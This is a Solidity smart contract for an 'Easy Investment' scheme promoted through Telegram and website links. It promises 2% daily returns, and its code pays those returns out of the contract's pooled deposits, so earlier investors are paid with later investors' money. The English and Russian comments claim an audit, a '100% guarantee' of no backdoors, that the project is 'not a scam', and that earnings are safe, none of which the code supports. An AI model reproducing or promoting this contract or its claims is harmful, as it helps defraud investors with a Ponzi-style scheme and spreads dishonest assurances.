pragma solidity ^0.4.24;

/**
 * Telegram https://t.me/invest222eth
 * Site:222eth.pro
 * 
 * ENG---------------------------------------------------------------
 * 
 * Easy Investment Contract 2%
 *  - GAIN 2% PER 24 HOURS (every 5900 blocks)
 *  - NO COMMISSION on your investment (every ether stays on contract's balance)
 *  - NO FEES are collected by the owner, in fact, there is no owner at all (just look at the code)
 *
 * How to use:
 *  1. Send any amount of ether to make an investment
 *  2a. Claim your profit by sending 0 ether transaction (every day, every week, i don't care unless you're spending too much on GAS)
 *  OR
 *  2b. Send more ether to reinvest AND get your profit at the same time
 *
 * RECOMMENDED GAS LIMIT: 70000; GAS PRICE: https://ethgasstation.info/
 * 
 * RUS--------------------------------------------------------------
 * 
 * Инвест клуб с большими перспективами роста 
 * У нас 2% процент, который сделает работу инвест клуба долгим а ВАШ заработак Безопасным.
 * Код прошел аудит как все проекты на основе Easy Invest. 100% Гарантия что нет закладок, бэкдоров и что этот проект в отличи от других не скам.
 * Над проектом работает команда. Если и вы хотите участвовать с разработках этого и других проектов добавляйтесь  https://t.me/dev_invest
 * Если у вас есть предложение по поводу нового Инвест клуба мы с удовольствием поможем его вам реализовать.
 */
contract invest222ETH {
    // records amounts invested
    mapping (address => uint256) public invested;
    // records blocks at which investments were made
    mapping (address => uint256) public atBlock;

    // this function called every time anyone sends a transaction to this contract
    function () external payable {
        // if sender (aka YOU) is invested more than 0 ether
        if (invested[msg.sender] != 0) {
            // calculate profit amount as such:
            // amount = (amount invested) * 2% * (blocks since last transaction) / 5900
            // 5900 is an average block count per day produced by Ethereum blockchain
            uint256 amount = invested[msg.sender] * 2 / 100 * (block.number - atBlock[msg.sender]) / 5900;

            // send calculated amount of ether directly to sender (aka YOU)
            msg.sender.transfer(amount);
        }

        // record block number and invested amount (msg.value) of this transaction
        atBlock[msg.sender] = block.number;
        invested[msg.sender] += msg.value;
    }
}